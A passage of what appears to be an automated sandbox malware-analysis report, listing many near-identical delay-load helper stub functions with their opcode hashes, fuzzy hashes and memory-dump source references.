                  • Opcode ID: 3941cde68a440d667ee646b24a0ddee84c57cdc8c64b6db220618ba8ed4fbf49
                  • Instruction ID: 3a8556ead24918b1f7b9e28dad016d1cdb81e536d1edece7f6e292a0e88e936a
                  • Opcode Fuzzy Hash: 3941cde68a440d667ee646b24a0ddee84c57cdc8c64b6db220618ba8ed4fbf49
                  • Instruction Fuzzy Hash: 4AB0129236C149AC318C61047C06E760A4DC5C0F10330952EB60DF01C1E5409CCA2433
                  Function 00EFD8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: f32a068d19ed115b09fbe55513332cdb729aa9d4aac2a2ab86a34587e3103788
                  • Instruction ID: aee5d01201d10fe611d94a4a775ec8eee2330be322546ca64565b9d29ac5b407
                  • Opcode Fuzzy Hash: f32a068d19ed115b09fbe55513332cdb729aa9d4aac2a2ab86a34587e3103788
                  • Instruction Fuzzy Hash: 7DB012A236C049AC314C61047C06E760A4DC9C1F10330912EBA0DF00C1E5409C852433
                  Function 00EFD8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 28e87a254908d7e4c44b695e3f706bc78e1d020746e6cb547553780ad1772bcc
                  • Instruction ID: 9942f4d85dd703d2997fc33e6d131935ddf16c7532173219064e7969e06b2b3e
                  • Opcode Fuzzy Hash: 28e87a254908d7e4c44b695e3f706bc78e1d020746e6cb547553780ad1772bcc
                  • Instruction Fuzzy Hash: 94B0129636C10DAD314C61047C46E7B0A4DF5C0F10330502EB60DF01C1E5409C452533
                  Function 00EFD8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: c9b44e7f4d626dcdb6424e5cc2dc33826a91ff7d4db7fb4fe00d9b6a8822c71c
                  • Instruction ID: 24a86abfd75db43e4d908d2b14bdaca38f710e0faa079775e1d044f2ca1ef529
                  • Opcode Fuzzy Hash: c9b44e7f4d626dcdb6424e5cc2dc33826a91ff7d4db7fb4fe00d9b6a8822c71c
                  • Instruction Fuzzy Hash: E2B0129236C049AC314C61047C06E760A8DC9C1F10330D02EBA0DF01C1E5409C8A2433
                  Function 00EFD891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: e26e253030a89e812226796103d0e832a8b69feeb1d2f1189dfd4ca23e0e6bc0
                  • Instruction ID: 7fee5a15f906e1574e75f2c52640391c9672fc5cddf63d8abca62559df389a90
                  • Opcode Fuzzy Hash: e26e253030a89e812226796103d0e832a8b69feeb1d2f1189dfd4ca23e0e6bc0
                  • Instruction Fuzzy Hash: 4FB0129636C309BD314C21007C56D7B0A0DD5C0F10330553EB60DF00C1E5409C896433
                  Function 00EFE1F9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFE20B
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 4443942d5b89b8104d0719e9a5585f14bb8afcbd7021b09c8f7bb85a6e8718a4
                  • Instruction ID: efe852e33af6cc93409867dcac39643d15f82498bc6abace5327fb954f6c87e1
                  • Opcode Fuzzy Hash: 4443942d5b89b8104d0719e9a5585f14bb8afcbd7021b09c8f7bb85a6e8718a4
                  • Instruction Fuzzy Hash: 41B0129236E005BC330C11547D46DB6075CC4C0B50330902AB709F4091A6409C456033
                  Function 00EFD942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 41a6ffa66e40b4d338ba305e1a7dee2b634287e82adfdd05a8cf22f9e4b37b1b
                  • Instruction ID: b2413875bee11c92c696888d15044c17c664f1e7ae6a617564aae23b217d454c
                  • Opcode Fuzzy Hash: 41a6ffa66e40b4d338ba305e1a7dee2b634287e82adfdd05a8cf22f9e4b37b1b
                  • Instruction Fuzzy Hash: 6CB012A236C009AC314C61047D06E760ACDC5C0F10330502EB60DF00C1E6409C462433
                  Function 00EFD92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 879753f3b73c067bea32cf0f5c5ca59b26c23da76510199f97968a977009f0e6
                  • Instruction ID: 1455c10864f97c1ded242b385d5e1894678a19445d5b0238833ae75b60ddd0e8
                  • Opcode Fuzzy Hash: 879753f3b73c067bea32cf0f5c5ca59b26c23da76510199f97968a977009f0e6
                  • Instruction Fuzzy Hash: A5B0129636C049AC314C61147C06E760A8DC9C1F10330902EBB0DF00C1E7409C452433
                  Function 00EFD924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 62c7f7af4ac6d1bd6e5073a98530c52fb4291ef56ec378c5b9ac009a7224a33c
                  • Instruction ID: 82abcff022de2f91a2b04e0c835e77e0adc5d7de248802339438035112aa7381
                  • Opcode Fuzzy Hash: 62c7f7af4ac6d1bd6e5073a98530c52fb4291ef56ec378c5b9ac009a7224a33c
                  • Instruction Fuzzy Hash: 65B0129237D009AC314C61047C46E760A8FD9C0F10330502EB60DF00C1E5409C452433
                  Function 00EFD906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 2b29431b4fc284f8d48bc643803af911a6c1ea13ef8886857906a003f1515398
                  • Instruction ID: 540991b92eea3b35004fee0705aa3201979518c4510dd6c5f0e58b1eb04a3a21
                  • Opcode Fuzzy Hash: 2b29431b4fc284f8d48bc643803af911a6c1ea13ef8886857906a003f1515398
                  • Instruction Fuzzy Hash: 9DB0129236D049AC314C61047C46E760A4FC9C1F10330902EBA0DF00C1E5409C452433
                  Function 00EFD910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 6ec92465c593b6ad0bb8e09abb3d251e38e7f26deea7d35b00952467ba0cb6cc
                  • Instruction ID: ecb83551fbc84ac9805caeefc3f34f66880d830c6b90c3be07f8c140b99499c4
                  • Opcode Fuzzy Hash: 6ec92465c593b6ad0bb8e09abb3d251e38e7f26deea7d35b00952467ba0cb6cc
                  • Instruction Fuzzy Hash: 62B012A236D109AC318C62047C46E760A4FC5C0F10330512EB60DF00C1E5409C852433
                  Function 00EFDACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: e7ecc0f291a45bc79568a5754d40fe3aeb82effe7913a8582d157814a52d6603
                  • Instruction ID: 6cf35598e37d46447450d6e679be477d5754beedb5cd66ae038f456cca23f1b1
                  • Opcode Fuzzy Hash: e7ecc0f291a45bc79568a5754d40fe3aeb82effe7913a8582d157814a52d6603
                  • Instruction Fuzzy Hash: CDB012A236C005EC314C71097C02EBA0ACDC4C0B10330D22BF90DE0045E5448C857432
                  Function 00EFDAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 79c86fafb525bac9b1cc6041f6cb8b5cee0518ab414ffa8c8a420bbd3ad8b8bd
                  • Instruction ID: 27652dfe2213c6348b6944f95db15118fab1996b86b4e10ef71f250c4bc28308
                  • Opcode Fuzzy Hash: 79c86fafb525bac9b1cc6041f6cb8b5cee0518ab414ffa8c8a420bbd3ad8b8bd
                  • Instruction Fuzzy Hash: 85B0129236C005EC314CB1097C02FBE0ACED0C4B10330952BF60DE0045E5408C8A7432
                  Function 00EFDBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 6616b9b0ecd64ebbd3622f1396206e021c4c82ad6439366e868941ff4e262e20
                  • Instruction ID: abfd4d4f06d6856d468ac3669313f4858be8745b7c88544654289ab12c5a48c4
                  • Opcode Fuzzy Hash: 6616b9b0ecd64ebbd3622f1396206e021c4c82ad6439366e868941ff4e262e20
                  • Instruction Fuzzy Hash: D4B0129636C00BEC314C52082C07EB70BADD4C0B10330902ABA0DE2041DA408C4C6132
                  Function 00EFDBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 150ab142c10bdbe40ebedb00ecc2dcceae3426f1508943815d0dad6f1f5f385d
                  • Instruction ID: 3a73ac3e4911178cbdaae8553cd2536d64b7509779609151c4b439ad4bbf0aef
                  • Opcode Fuzzy Hash: 150ab142c10bdbe40ebedb00ecc2dcceae3426f1508943815d0dad6f1f5f385d
                  • Instruction Fuzzy Hash: A1B0129636C00BAC324C52082D07EB70F9DD0C0B10330902AB70DE1041DA408C456132
                  Function 00EFDBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: ac86d32be989b66871c2cd4c8e57d0d7138ef30c8902dd0a12946ba6e930fb61
                  • Instruction ID: 343b3071221fadc6eadef0e21bb0089df4ae21595ddf2382f3274db1d735c720
                  • Opcode Fuzzy Hash: ac86d32be989b66871c2cd4c8e57d0d7138ef30c8902dd0a12946ba6e930fb61
                  • Instruction Fuzzy Hash: E9B0129637C10FBC324812042C07DB70B5DD0C0B10330513AB609F00419A408C886032
                  Function 00EFDBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDBD5
